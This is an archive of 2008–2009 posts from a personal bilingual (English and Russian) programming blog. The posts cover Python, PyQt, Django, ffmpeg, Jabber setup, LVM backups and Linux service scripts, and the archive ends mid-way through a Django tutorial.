In my free time I have started working on the new GPL project named "Geek Desktop Solution" (GDS). The project is a desktop (like KDE or GNOME) aimed for keyboard jedi and other technical geeks. It was inspired by SciFi movies especially "Stargate Atlantis". Rodney McKay, Chief Scientific Officer of the Atlantis Expedition, created his programs (or macros as it was called in the movie) interactively and very fast. I thought how it can be done and found a solution that makes this interactive and fast programming possible.

The main concepts of GDS are:

All environment items can be programmatically modified by user.
The interactive shell is an entry point of the desktop - all operations can be performed using the shell.
There is no mouse requirements - the user can operate the desktop using shell or keyboard shortcuts only.
But at the same time almost all operations can be performed with the mouse (for touchscreen-based devices without keyboards).
The desktop consists of widgets (like terminal, image viewer, web browser etc).
A widget can be in usual or fullscreen mode (for example, it is useful for web browsing).
Widgets can be grouped in activities (like multiply desktops in X.Org-environment).

Please notice that such kind of desktops is already created - Smalltalk have all required features. But for me Smalltalk syntax is awful and the GUI of all modern Smalltalk IDE is really ugly. So I decided to use Python as the main language for the GDS because it is widespread, simple and at the same time powerful. As a GUI framework I have chosen Qt because of its matureness, smoothness and flexibility. Moreover starting from 4.5 version Qt became LGPL-compatible so it can be easily used in commercial applications, though it is not important for the GDS project. But the experience I'm getting from this project can be useful for other non-GPL projects.

From technical point of view using Python + Qt is very impressive. PyQt4 binding gives all the power of Qt classes to the application. For example, I found a very useful class in Qt4.5 - QStackedLayout that makes the programming of GDS much easier (stacked layouts are required for activities and widgets fullscreen mode). QTest namespace methods make testing easier, and now I have a 100% code coverage and do not plan to decrease this number. KDE4 Oxygen style gives amazing appearance to Qt application and I do not have to worry about GUI of the GDS right now. Of course, I do not want to depend on KDE4 and will create my own styles but it is not so critical for this stage of the project. Actually I'm not planning to release the project to the community until I fix the styles, because not all users have KDE4 installed especially with the black color theme (the current version appearance of the project is based on Zion Reversed scheme - black color theme).

Let me give a little note about Qt testing. Although QTest namespace provides methods for mouse clicking and keyboard typing, the application is not working in the test environment as it should. For example, clicking on widget does not set focus on it. So please be aware of testing focusing functionality or make your application business-logic independent from it. And do not forget about event processing - signal/slot mechanism uses events and will not work if you do not use qWait method or until you make tests asynchronized.

This is how it looks now - see a screenshot below. And of course, if you want to see the sources, let me know and I'll publish it. Keep in touch!

Easy converting video files to iPod movies

2009-03-02T20:18:00.011-08:00

Linux is a power :-) I made sure of this again when trying to find a legal way to convert various video files in Windows OS to QuickTime format acceptable by iPod. Actually I do not use Windows, but iTunes is working only on it and MacOSX, so I didn't have a choice. But googling gave nothing, so I turned on Linux and easily found an appropriate way.

The main magic of video processing in Linux is collected in FFmpeg solution. And it saved my life again. But before reading further please make sure that you will not violate any author rights and other license issues. Please examine the legal information on FFmpeg site. In most cases all video files you converted must by used only by you and can not be transferred to other users.

The process of converting is very simple - just run ffmpeg with required options (of course, ffmpeg package and all auxiliary packages should be installed):

$ ffmpeg -i /path/to/input_movie -f mov -sameq -s qvga /path/to/output_movie

The main magic is in ffmpeg options:

-f mov - convert to MOV format;
-sameq - output file should have the same quality as original;
-s qvga - resize to iPod resolution (320x240).

Now we embed converting command to GNOME context menu. KDE users can use similar technique and if you are interested in how to do it, let me know.

First of all, nautilus-actions package should be installed:

$ sudo yum install nautilus-actions

Secondly we have to register required action. Go to menu System->Preferences->Look and Feel->Nautilus Actions Configuration (or just run nautilus-actions-config command):

Click "Add" button and set up a new action (or you can simply import config provided below):

Edit a command for the action - select "Main" profile and click "Edit":

The Path should contain /usr/bin/ffmpeg. Parameters: -i %M -f mov -sameq -s qvga %M.ipod.mov.

That's all. Now just restart GNOME session, and after that you can convert any files via context menu:

The action will not show any windows - you will just notice a new file, that will be ready in few seconds (if a preview of the output file is generated then it is ready to view):

Happy converting!

DOWNLOAD: config.tar.gz (2.05KB)

Магия Python в задаче вычисления количества строк комментариев в коде

2009-02-18T19:57:00.006-08:00

Python - один из немногих языков программирования, в котором лаконичность и простота гармонирует с мощью кода, который можно на нем написать. Хотя по сути Python является императивным языком, в нем есть функциональные элементы, упрощающие разработку и придающие коду больше выразительности. И чтобы не быть голословным, хочу это показать на примере простой задачи.

Итак, есть следующая задача - подсчитать количество строк в C++ коде, в которых есть комментарии. Есть два метода решения этой задачи:

Разработка state-машины, которая анализирует текущее состояние кода (комментарий это или нет) и ведет подсчет числа строчек, в которых состояние кода было "комментарий".
Использовать регулярные выражения и подсчитать количество строк кода, которые удовлятворяли условиям в регулярном выражении.

Мы рассмотрим второе решение, т.к. оно будет более лаконично и читабельно. Плюс к тому же это может быть неплохой задачкой для собеседования. Если разработчик сможет написать решение примерно в таком же стиле, как будет описано ниже (и если, конечно, он не читал этот блог), то его можно смело принимать на работу :-)

Сначала приведу код, а потом мы его рассмотрим по шагам - от алгоритма до конкретных конструкций с необходимыми пояснениями:

""" C++ code comments parser module. """
import re


class CppCodeCommentsParser:
    """ C++ code comments parser class. """

    def __init__(self, code):
        self._code = code + '\n'
        self._lines = set()

    @property
    def comment_lines_count(self):
        """ Returns count of lines with comments in 'self._code'."""
        match_to_set = lambda m: set(xrange(*m.span()))
        re_iter = lambda expr: re.finditer(expr, self._code)

        code = list(enumerate(match_to_set(m) for m in re_iter('.*\n')))
        for m in re_iter('//(.*\\\s*\n)+.*\n|//.*\n|/\*(\n|.)*?\*/'):
            self._lines |= set(s[0] for s in code if match_to_set(m) & s[1])
        return len(self._lines)

Алгоритм решения данной задачи можно расписать по следующим шагам:

Создаем массив множеств позиций символов в коде. Каждый элемент массива соответствует строчке кода.
Проходимся регулярным выражением и находим все множества позиций символов в коде, которые являются комментариями.
Считаем все строчки, которые имеют непустое пересечение с предыдущими множествами.

Это может звучать немного тяжеловато и заумно, но на самом деле все просто - мы просто считаем в каких строчках у нас появляются комментарии. Использование множеств для этого - достаточно логичное решение, т.к. если перейти от исходных сущностей (строчки кода и комментарии) к математической формализации (оперирировать позициями символов), то задача очень просто алгоритмизуется и программируется. Далее на примерах это будет рассмотрено более подробно.

Итак, первый шаг - конструирование объекта. Предполагается, что класс используется для анализа комментариев в коде, и одной из его функций является подсчет количества строчек с комментариями. Хотя, конечно, окончательно класс выглядел бы иначе, мы, основываясь на принципах TDD, не создаем лишних сущностей без надобности. Поэтому в конструкторе мы делаем всего лишь две вещи:

self._code = code + '\n' - Присваем члену класса нормализированную версию кода (под нормализацией подразумевается приведение кода к такому виду, когда последняя строчка в нем обязательно завершается символом перехода на новую строку).
self._lines = set() - Создаем пустое множество, которое потом заполним номерами строчек кода, в которых есть комментарии.

Теперь собственно, переходим к интересующему нас методу. Он оформлен в виде свойства, чтобы к нему можно было прозрачно обращаться (например, в будущем можно было бы кэшировать результат и не вычислять все заново - в таком случае семантика вызова не изменится, т.к. название свойства сохранило бы свой смысл).

В начале метода объявляются две лямбды - они позволяют избежать дублирования кода и сократить размер модуля. Лямбда - это анонимная функция, и в ней не могут содержаться императивные команды типа присваивания. Ближайший аналог лямбды - классическая функция в математике. Лямбда - это конструкция для создания анонимных функций, которые возвращают результат вычисления выражения, заданного в теле лямбды. Подробности см. в документации.

Первая лямбда match_to_set преобразует результат соответствия регулярного выражения в множество позиций символов. Приведу пример ее работы:

In [1]: m = type('', (object,), dict(span = lambda self: (1, 10)))()

In [2]: match_to_set = lambda m: set(xrange(*m.span()))

In [3]: match_to_set(m)
Out[3]: set([1, 2, 3, 4, 5, 6, 7, 8, 9])

Т.е. у нас есть объект (в данном случае m), у которого метод span() возвращает пару чисел. Лямбда разворачивает эту пару в последовательность и объединяет в множество.

Следующая лямбда re_iter просто возвращает итератор соответствий регулярного выражения в self._code. Например:

In [1]: import re

In [2]: code = '//first_line\n//second_line\nthird_line\n'

In [3]: re_iter = lambda expr: re.finditer(expr, code)

In [4]: [m.group() for m in re_iter('.*\n')]
Out[4]: ['//first_line\n', '//second_line\n', 'third_line\n']

Теперь собственно код. Сначала мы создаем массив множеств позиций символов в коде. Далее все будем рассматривать на примере вышеприведенной строчки кода:

In [1]: import re

In [2]: code = '//first_line\n//second_line\nthird_line\n'

In [3]: match_to_set = lambda m: set(xrange(*m.span()))

In [4]: re_iter = lambda expr: re.finditer(expr, code)

In [5]: list(enumerate(match_to_set(m) for m in re_iter('.*\n')))
Out[5]:
[(0, set([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])),
 (1, set([13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26])),
 (2, set([32, 33, 34, 35, 36, 37, 27, 28, 29, 30, 31]))]

Как видите, мы получили массив из двухэлементных кортежей. В первом элементе кортежа хранится номер строчки (фактически, это номер соответствия регулярного выражения в исходной строке). Во втором элементе кортежа хранится собственно множество позиций символов.

Далее мы вычисляем позиции символов с комментариями. Код практически такой же, только другое регулярное выражение и выходные данные:

In [6]: [m.group() for m in re_iter('//(.*\\\s*\n)+.*\n|//.*\n|/\*(\n|.)*?\*/')]
Out[6]: ['//first_line\n', '//second_line\n']

Ну и наконец, пересечение множеств. Здесь на самом деле одновременно выполняется много операций, поэтому просто распишу по порядку:

s[0] for s in code - Выбираем все номера строк из первых элементов кортежей code.
if match_to_set(m) & s[1] - Дополняем выборку условием, что пересечение множеств соответствия регулярного выражения и символов в строке непустое.
set(s[0] for s in code if match_to_set(m) & s[1]) - Объединяем все выбранные номера строк в множество.
self._lines |= set(...) - Объединяем два множества.

В результате всей этой магии и шаманства мы получаем искомый результат - количество строк кода с комментариями (len(self._lines)).

Если у вас возникнут вопросы, замечания или предложения - пишите. Удачного программирования!

DOWNLOAD: parser.zip (1,37KB)

Переходим с ICQ на Jabber.

2009-01-21T20:57:00.036-08:00

Ни для кого не секрет, что сервис ICQ принадлежит компании AOL. Как и для любой коммерческой компании, для нее важна монетизация своих сервисов. Если сервис не приносит прибыль, то его либо модифицируют таким образом, чтобы он все-таки приносил прибыль, или закрывают.

Основная прибыль от ICQ - это реклама, баннеры, которые показывают официальные клиенты. Однако, в России эти клиенты не приобрели популярность - баннеры либо режут с помощью специальных плагинов, либо закрывают фаерволом, либо используют альтернативные клиенты, как, например, QIP и Miranda. C другой стороны, именно российские пользователи составляют подавляющий процент от всех пользователей ICQ. AOL, конечно, это не особо нравится и она борется изо всех сил, чтобы все использовали официальные клиенты. Недавняя серия отключений - яркий тому пример. И не факт, что отключения не продолжатся (или вообще не прикроют весь сервис ICQ) - никто не может заставить AOL поддерживать неприбыльный сервис, особенно в наше время мирового финансового кризиса.

Что же делать, особенно тем, для кого общение по ICQ составляет часть бизнес-процессов? Конечно, можно постоянно обновляться при очередном отключении, молиться, чтобы опять что-нибудь не сломалось, но зачем есть кактус и колоться, когда есть хорошие альтернативы?

Одна из самых доступных и простых альтернатив - использование сервисов Jabber.

Jabber (/ˈʤæb.ə(r)/; досл. пер. с англ. — болтовня, трёп) — система для быстрого обмена сообщениями и информацией о присутствии (в контакт-листе) между любыми двумя пользователями Интернета на основе открытого протокола XMPP.

Ключевое отличие Jabber-а от ICQ - это открытость протокола. Т.е. этот протокол не завязан на коммерческую компанию, и никто не может его прикрыть в один прекрасный момент. Хотя, конечно, для общения все-равно потребуются Jabber-сервера, но их достаточно много, и у вас есть выбор, какие именно использовать. Никто не запрещает также пользоваться несколькими серверами одновременно. Более того, можно использовать несколько учетных записей на одном сервере в один и тот же момент времени без каких-либо ухищрений.

О достоинствах Jabber-а можно говорить долго, поэтому перечислю только основные моменты:

открытость (существует множество клиентов и серверов, и они не нарушают ничьих прав, причем, что очень удобно для программистов, которые могут использовать Jabber/XMMP для своих собственных нужд, например, для интеграции систем документооборота с Jabber-серверами);
расширяемость (Jabber/XMMP-протокол можно расширить для получения нужной вам функциональности, например, это сделал Google для поддержки видеоконференций в их клиенте GTalk);
децентрализованность (вы можете поднять внутри своей организации собственный Jabber-сервер, чтобы ваши сообщения не уходили в Интернет, и тем самым соблюдалась бы конфиденциальность; одним из примеров популярного Jabber-сервера является кросс-платформенный OpenFire);
безопасность (Jabber поддерживает SSL шифрование, плюс к тому же некоторые клиенты и сервера поддерживают PGP-шифрование, таким образом, даже если ваш трафик перехватят, то не узнают о его содержании);
встроенная поддержка интернационализации (все сообщения, которые передаются через Jabber-протокол, используют кодировку unicode, что автоматом снимает проблемы с русским языком);
система транспортов (Jabber поддерживает так называемые "транспорты" - шлюзы между различными IM-сетями, например, можно, не отключаясь от Jabber-сервера, контактировать с пользователями ICQ, MSN и т.п. Чат, встроенный в Gmail поддерживает транспорт для ICQ/AIM, что позволяет через Jabber общаться с пользователями ICQ).

Однако хватит теории, приступим к практике. Я приведу вариант работы с Jabber-сервером на примере Gmail - услуги электронной почты, предоставляемой компанией Google. Но, конечно, это не единственный вариант - Jabber поддерживается компанией Yandex (Я.Онлайн), многими другими бесплатными серверами, например, jabber.ru.

Сначала кратко опишу последовательность шагов:

Надо зарегистрировать свой ящик на gmail.com.
После регистрации вам автоматически предоставляется аккаунт на Jabber-сервере с таким же названием, как и адрес вашего ящика.
После этого надо добавить всех нужных пользователей в свой контакт-лист.
И остается настроить только клиент для работы с Jabber (или пользоваться чатом прямо из веб-интерфейса gmail.com). Существует множество клиентов для работы с Jabber, включая тот же QIP Infium, GTalk, но я буду описывать все на примере Pidgin, т.к. он кросс-платформенный, достаточно стабилен и поддерживает множество протоколов.

Итак, заходим на gmail.com: Нажимаем ссылку "Зарегистрироваться в Gmail": Могут возникнуть проблемы с вводом капчи, но не бойтесь, и просто вводите букву за буквой. Если есть проблемы, то можно воспользоваться звуковой подсказкой. Если все успешно, то вы увидите экран знакомства с Gmail: И нажав на ссылку "Я готов - покажите мне мой аккаунт", вы перейдете на свой ящик: Слева вы можете видеть раздел "Чат". Это и есть веб-интерфейс с Jabber-серверу. Можете прямо оттуда добавлять пользователей к себе в контакт-лист: И начать общаться. Заметьте, что Gmail очень неприхотлив к интернет-каналу, т.к. в полной мере использует возможности браузера (в частности, яваскрипт). Например, кликнув по имени пользователя, вы можете отправить ему сообщение: И так может выглядеть ответ вашего контакта: Помимо всего прочего, по умолчанию история чата сохраняется (вы можете ее прочитать, кликнув по ссылке "Чаты"): Однако если вы не хотите, чтобы история сохранялась, вы всегда сможете ее отключить через "Настройки":
Сразу замечу, что Gmail лучше работает под современными браузерами, в частности, Mozilla Firefox, так что если вы пользуетесь старыми программами, например, Internet Explorer 6, то могут быть проблемы. Всячески рекомендую пользоваться Firefox, т.к. у него есть много достоинств, одним из которых является плагинная система, позволяющая вам сделать из браузера полноценный инструмент для повседневной работы.

Теперь перейдем к настройке Pigdin. Закачиваем его с сайта pidgin.im, устанавливаем и запускаем: После этого идем в меню "Учетные записи"->"Manage accounts" и нажимаем кнопку "Add":
Устанавливаем необходимый протокол (XMMP) и вводим учетные данные. Если вы работаете в Интернете через прокси-сервер, надо его указать в дополнительных параметрах: Все, после этого нажимайте "Сохранить", и ваш аккаунт автоматически включится. После этого вы можете общаться так же, как привыкли в других клиентах. Например, выбирайте в контакт-листе нужного пользователя: И двойным кликом начинайте чат: Приятного вам общения!

Если возникнут вопросы, пишете мне на Jabber: alex.slesarev@gmail.com :-)

P.S. Благодарю bash.org.ru за предоставленные цитаты, компанию Google за столь замечательный сервис, и все коммьюнити за протокол XMMP и замечательный клиент Pidgin.

ДОПОЛНЕНИЕ: Еще одним преимуществом джаббера является неприхотливость к пропускной способности Интернет-канала. Даже если он полностью забит торрентом (конечно, при скачивании легального контента), джаббер не теряет соединение, в отличие от аськи, которая постоянно отключается.

iPod torment

2009-01-12T21:58:00.004-08:00

Apple iPod is very fractious device, and you should be certain in all your actions when you working with it.

It so happened that all music on iPod is disappear (probably after incorrect ejecting). Although during connection to Rhythmbox everything was fine (playlists and songs were working properly), the device itself showed "No Music". Digging the Internet showed that the only true way to fix it is repairing using iTunes. But unfortunately iTunes is working only in Windows and MacOSX, neither of these I have. So I tried to find another way.

Further digging lead me to this article. So I downloaded Floola and started it (please notice that it is required to have libstdc++-compat libraries installed).

Floola didn't find iPod in its database and I had to enter required generation (using info from wikipedia) and fwid (16 digit number from "sudo /sbin/lsusb -v | grep -i Serial"). Floola tried to open iPod with this info, but it doesn't help and it closed with warning.

But the main magic already happened - after ejecting iPod begin to work. It is real strange and weird, but it is true :) The moral is:

Make backups often;
Use good and reliable music players;
iPod is very nice, but be cautious.

Playing with NuFW firewall.

2008-12-26T00:37:00.007-08:00

I have played with NuFW live CD and want to share my experience.

NuFW is an application layer firewall with authentication support. It allows to build SSO-based infrastructure with minimal efforts. NuFW adds user-based filtering to Netfilter, the state of the art IP filtering layer from the Linux kernel.

NuFW live CD provided web-based management system for setting up network, ACL, objects and all required rules. You can see a sample screenshot of editing ACL rule. Please notice that LiveCD is not working so stable, so be ready for certain glitches. Further I'll describe sample steps for setting up firewall for certain users.

First, let's set up new user account. NuFW Live CD use only local users by default, but NuFW itself support LDAP directories. So I'll create an account via KUser.

Second step - create an authenticate object in Nuface:

And the last step - add ACL for the user:

As you can see there are nothing special in such actions. Unfortunately, I can't provide a full tutorial how to set up NuFW for solid infrastructure, but I hope that you can do it by yourself. Quick guide to NuFW.Live will help you. Happy administrating!

Google Reader shared items

2008-12-12T19:27:00.002-08:00

I have began to share my Google Reader items which are accessible on this page:

http://www.google.com/reader/shared/08144242512191999080

Maybe you will find some interesting for you from these items. Happy reading!

New Mail Dispatcher executable

2008-12-08T21:06:00.005-08:00

I have created Windows installer package for current version of Mail Dispatcher:

http://downloads.sourceforge.net/maildispatcher/maildispatcher-0.3.exe

It is built with slightly outdated Python and GTK, so I have not updated the project site with this new link. After releasing new version of Mail Dispatcher I'll release a new Windows installer package built with updated frameworks.

XSL transformations in Python

2008-12-05T21:02:00.004-08:00

I want to describe how to do XSL transformations in Python by using 4Suite. It is a really easy, and requires just a few steps:

Install 4Suite technologies for Python:
```
$ sudo yum install python-4Suite-XML
```

Create a required XML file (for example, simple1.xml):

<!-- The stylesheet to apply -->
<?xml-stylesheet href="simple.xsl" type="text/xsl"?>
<document cache-methods="get,post">
        <title>Simple XSLT sample</title>
        <body>
                <heading>Simple XSLT sample</heading>
                <paragraph>
                        This is a sample text.
                </paragraph>
        </body>
</document>

Create a required XSL file (for example, simple1.xsl):

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
        <!-- 
                Output an XHTML/transitional document (uses html output method
                as Xalan does not support xhtml)
         -->
        <xsl:output method="html" indent="yes" version="4.0" encoding="us-ascii"
media-type="text/html" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN" />
        <!-- Match the document root -->
        <xsl:template match="/document">
                <!-- Output an html document -->
                <html>
                        <!-- Copy the title -->
                        <head><title><xsl:value-of select="title" /></title></head>
                        <!-- Process the body -->
                        <body>
                                <xsl:apply-templates select="body" />
                        </body>
                </html>
        </xsl:template>
        
        <!-- Match a heading -->
        <xsl:template match="heading">
                <h1><xsl:apply-templates select="node()" /></h1>
        </xsl:template>
        
        <!-- Match a paragraph -->
        <xsl:template match="paragraph">
                <p><xsl:apply-templates select="node()" /></p>
        </xsl:template>
                
</xsl:stylesheet>

Run Python code:

$ ipython
In [1]: from Ft.Xml.Xslt import Transform
In [2]: result = Transform('simple1.xml', 'simple1.xsl')
In [3]: print result
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
  <head>
    <meta content="text/html; charset=us-ascii" http-equiv="Content-Type">
    <title>Simple XSLT sample</title>
  </head>
  <body>
                
    <h1>Simple XSLT sample</h1>
                
    <p>
                        This is a sample text.
                </p>
        
  </body>
</html>

The main magic is Transform function - it takes XML and XSL files and do transformation. For further digging take a look to 4Suite demos.

Happy transformations! :-)

Backup LVM file system with SELinux context

2008-09-01T17:29:00.004-07:00

Backup is one of the most crucial operations for providing availability of the computer system. Although writing backup scripts is an easy task, there are few points with LVM and SELinux which are described below.

LVM is a logical volume manager for the Linux kernel. One of the key features of LVM is generating snapshots for logical volumes. This allows the administrator to create a new block device which presents an exact copy of a logical volume, frozen at some point in time. It is very useful for backups - we can make backups without stopping volumes. Snapshots can be created with 'lvcreate' command with '-s' option.

SELinux is an implementation of a flexible mandatory access control architecture in the Linux operating system. It uses file labelling with special security context. During a usual file archiving this context could be lost, so the administrator should use special archivers like 'star'.

So, the administrator should use following procedure for archiving LVM volumes with SELinux enabled:

Create a snapshot of required volume.
Mount this snapshot.
Make star-archive of the snapshot to required location.
Unmount the snapshot.
Delete the snapshot.

A sample script is below:

#!/bin/sh

/sbin/lvcreate -L5G -s -n homesnapshot /dev/VolGroup00/home
mount /dev/VolGroup00/homesnapshot /mnt/homesnapshot
star -xattr -H=exustar -v -c -f /media/work/backups/home.star /mnt/homesnapshot/
umount /mnt/homesnapshot
/sbin/lvremove -f /dev/VolGroup00/homesnapshot

Have fun with backups!

Organizing Kerberos-based infrastructure

2008-08-21T21:49:00.005-07:00

SSO (Single Sign-On) is a good method for organizing enterprise-level IT infrastructure. It can reduce TCO (Total cost of ownership) of user management, allowing to create/modify/delete user accounts in one place without changing configurations of servers and client workstations. Let's consider Kerberos as a basis for SSO in an enterprise infrastructure in details:

Log in to a workstation.

Most UNIX-based OS provide authorization mechanism for logging into a workstation using Kerberos PAM modules. Windows OS-based workstations can login only to domain controller, and doesn't support standard Kerberos servers by default due to Kerberos extensions by Microsoft. But there is a bypass way - use Samba PDC with Kerberos and OpenLDAP integration (Article in Russian, I'll translate and publish it in the blog after setting up such infrastructure on my servers).
Servers.

Firewall: NuFW (see corresponding article).

Email: postfix, sendmail.

IM: openfire.

Web: apache.

Proxy: squid.

Ftp: ProFTPD or internal Kerberos FTP server.

RDBMS: PostgreSQL.
Clients.

Email: thunderbird, fetchmail.

IM: Sparc, Pidgin.

Web: Firefox, Safari, Konqueror.

Ftp: Console ftp, Filezilla.
Development.

Only J2EE have Kerberos support via JAAS. Maybe other frameworks have some kind of support, but it requires checking.

As you can see, some servers and clients are not enumerated above (due to bad or none support of Kerberos) like Opera, MySQL, VsFTPd and others, but any enterprise should force users to use only accredited software, and list above is a good candidate for accreditation.

Mail Dispatcher version 0.3 is released

2008-08-20T22:59:00.004-07:00

New release of Mail Dispatcher introduces major changes in internationalization and usability of the product.

Parsing mail messages was added and now they are shown in required encoding. Also a user can select preferred encoding for messages preview.

Selecting dates ranges was added and now a user can select required date interval for downloaded messages. Mail Dispatcher uses special algoritm for selecting messages based on binary searching.

For more information, visit site: http://maildispatcher.sourceforge.net/history.shtml

Daemonize a script

2008-08-03T18:45:00.010-07:00

Sometimes it is required to start script as daemon (for example Django site in development mode), and I want to provide guidance how to do it in Fedora 9.

First, it is required to write auxiliary bash-script for running necessary script (let's call it 'site.sh'):

#!/bin/sh
cd /path/to/site/
nohup python manage.py runserver 0.0.0.0:8080 --noreload > site.log &
echo "${!}" > /var/run/site.pid

In this script I changed directory to site location, and ran it via 'nohup' command. Also I took PID of created process via '${!}' to manage it later.

This script should be run under root privileges and should be checked via 'ps aux | grep python' for equality of PID of running process and stored in /var/run/site.pid.

If everything is fine, let's move forward and create init-script (let's call it 'site'):

#! /bin/sh
# Startup script for site
#
# chkconfig: 2 96 04
# description: site service

# Source function library.
. /etc/rc.d/init.d/functions

prog="site"
DAEMON=/path/to/site.sh
pidfile=/var/run/site.pid

[ -f $DAEMON ] || exit 0

start() {
   echo -n $"Starting $prog: "
   daemon $DAEMON
   RETVAL=$?
   echo
   return $RETVAL
}

stop() {
   if test "x`cat $pidfile`" != x; then
       echo -n $"Stopping $prog: "
       killproc $prog
       echo
   fi
   RETVAL=$?
   if [ $RETVAL -eq 0 ]; then
       rm -f $pidfile
   fi
   return $RETVAL
}

case "$1" in
   start)
       start
       ;;
   stop)
       stop
       ;;
   status)
       status corpsite
       ;;
   restart)
       stop
       start
       ;;
   condrestart)
       if test "x`cat $pifile`" != x; then
           stop
           start
       fi
       ;;
   *)
       echo "Usage: $0 {start|stop|restart|condrestart|status}"
       exit 1
       ;;
esac

exit $RETVAL

This script should be stored in /etc/init.d. Now try to run it using '/sbin/service site start' and try other commands. Please notice these few issues:

'prog' variable is used for information messages and for killing the process. Killing will be worked via PID (because we can't use script name - it will be 'python' and probably you could have other running python scripts) and PID will be gotten from /var/run/$prog.pid. So the name of pidfile and 'prog' should be the same.
'DAEMON' variable is a path for script above. It should be changed to accommodate the location of the script.

So, the last step is automatically loading/unloading script during startup/shutdown the OS. This is pretty easy - I have already prepared all information for 'chkconfig' in the init-script (see corresponded remarks in a header). Only enter command '/sbin/chkconfig --add site' and that's all - the script will be loaded/unloaded automatically after next startup.

DOWNLOAD - daemon.tar.gz (1.03KB)

Django admin changes in SVN trunk

2008-07-21T17:05:00.006-07:00

Recently in Django SVN trunk all admin interface changed to newforms. It doesn't have backward compatibility, so I provide some hints to upgrade existing Django applications.

There are at least 3 steps for upgrading:

Update urls.py to follow new admin URLs.
Update admin classes.
Change all newforms imports.

Update urls.py to follow new admin URLs.

Initially urls.py looks like:

urlpatterns = patterns('',
    (r'^admin/', include('django.contrib.admin.urls')),
)

Now it should look like:

from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
   (r'^admin/doc/', include('django.contrib.admindocs.urls')),
   (r'^admin/(.*)', admin.site.root),
)

Update admin classes.

Initially admin classes were a part of model classes. Now they should be moved to independent classes.

If a model had empty class:

class Model1(models.Model):
   class Admin:
       pass

Now it is enough just register a model with admin site:

from django.contrib import admin
admin.site.register(Model1)

For non-empty admin classes like this:

class Model1(models.Model):
   class Admin:
       search_fields = ('title',)

Now it is required to declare independent class:

from django.contrib import admin
class Model1Admin(admin.ModelAdmin):
   search_fields = ('title',)
admin.site.register(Model1, Model1Admin)

Please notice that all admin classes can be (and should be in most cases) declared in admin.py file now (in the same directory there are models.py located).

Change all newforms imports.

These changes are not required, but without them manage.py prints DeprecatedWarning. The change is simple.

The original import:

from django import newforms as forms

The new one:

from django import forms

Good luck with updating!

Adding security features to Django projects

2008-07-07T21:29:00.039-07:00

Security is most valuable feature of any software, and each developer should keep in mind security issues during programming. In this article I show how to restrict user's access to view, but not modify objects in Django project. It could be an equivalent of 'Readers' field in Lotus Notes/Domino application.

First of all, let's set up Django.

Check out Django’s main development branch (the ‘trunk’) like so:

svn co http://code.djangoproject.com/svn/django/trunk/ django-trunk

Install it:

cd django-trunk
sudo python setup.py install

Create project, which be called 'secure_site':

django-admin.py startproject secure_site

Test the installation - start our project:

cd secure_site/
chmod +x manage.py
./manage.py runserver 9000

Open browser by URL: http://localhost:9000/ and if 'It worked!' page is shown, then go further.

Create two applications - sample (for testing) and secure (for handling security information):

./manage.py startapp sample
./manage.py startapp secure

Now change settings.py file to use SQLite database:

DATABASE_ENGINE = 'sqlite3'
DATABASE_NAME = 'secure_site.db'

Also activate admin interface via adding 'django.contrib.admin' to the end of INSTALLED_APPS in settings.py and uncomment lines in urls.py:

from django.conf.urls.defaults import *

# Uncomment the next two lines to enable the admin:                             
from django.contrib import admin
admin.autodiscover()

urlpatterns = patterns('',
    # Example:                                                                  
    # (r'^secure_site/', include('secure_site.foo.urls')),                      

    # Uncomment the next line to enable admin documentation:                    
    (r'^admin/doc/', include('django.contrib.admindocs.urls')),

    # Uncomment the next line for to enable the admin:                          
    (r'^admin/(.*)', admin.site.root),
)

Now it is time to create database and superuser account:

./manage.py syncdb

Open browser by URL: http://localhost:9000/admin/ and if 'Login' page is shown, try to login with login/password created during syncdb and if everything is fine then go further.

Now it is time to create sample models. Open sample/models.py with your favourite editor and add two models:

""" Sample models. """
from django.db import models

class Model1(models.Model):
    """ Sample model 1. """
    name = models.CharField(max_length = '100')

    def __unicode__(self):
        """ String representation of this model. """
        return self.name

class Model2(models.Model):
    """ Sample model 2. """
    name = models.CharField(max_length = '100')

    def __unicode__(self):
        """ String representation of this model. """
        return self.name

Also it is required to register these model with admin site. Just create sample/admin.py file and add these lines:

from django.contrib import admin
from secure_site.sample.models import Model1, Model2

admin.site.register(Model1)
admin.site.register(Model2)

After that register models in settings.py (add 'secure_site.sample' to INSTALLED_APPS) and synchronize database.

Run server and open browser by URL: http://localhost:9000/admin/ and if you see links to models 1 and 2 after logging in then go further. Now we have to create model for securing our application. This model will contains application and model names and users' names who do not have access to modify objects. Open secure/models.py and edit it with favourite editor:

""" Models for securing Django project. """
from django.db import models
from django.conf import settings
from django.contrib.auth.models import User
import re

def get_apps_list():
    """ Get list of available applications. """
    app_regex = re.compile('secure_site\.(\w+)')
    apps = [re.search(app_regex, app).group(1)
            for app in settings.INSTALLED_APPS
            if app.startswith('secure_site.')]
    result = []
    for app in apps:
        try:
            __import__('%s.models' % app, fromlist = [app])
            result.append((app, app))
        except ImportError:
            pass
    return result

class SecuredModule(models.Model):
    """ Model for module. """
    app = models.CharField(max_length = '100', choices = get_apps_list())
    model = models.CharField(max_length = '100', choices = [('', '')])
    readers = models.ManyToManyField(User, blank = True)

    def __unicode__(self):
        return '%s.%s' % (self.app.lower(), self.model.lower())

from django.contrib import admin
from secure_site.secure.models import SecuredModule

admin.site.register(SecuredModule)

After that register models in settings.py (add 'secure_site.secure' to INSTALLED_APPS) and synchronize database.

Now you can see new application on the admin page - Secure. If you will try to add new module you will see all available application (in our case - secure and sample) and all registered users. But there is an issue here - the list of choices for models is empty. Now we will fix it using AJAX with jQuery. First of all, you have to download jQuery from official site and put it to you application. For this we will create media dir and register it in the project:

mkdir -p media.site/js
cd media.site/js
wget http://jqueryjs.googlecode.com/files/jquery-1.2.6.min.js
ln -s jquery-1.2.6.min.js jquery.js
cd -

Now it is required to set up MEDIA_ROOT (settings.py)

import os
CURRENT_PATH = os.path.dirname(__file__)
MEDIA_ROOT = os.path.join(CURRENT_PATH,  'media.site')

And fix urls.py to view media files (add this line to urlpatterns):

    (r'^media.site/(?P.*)$', 'django.views.static.serve',
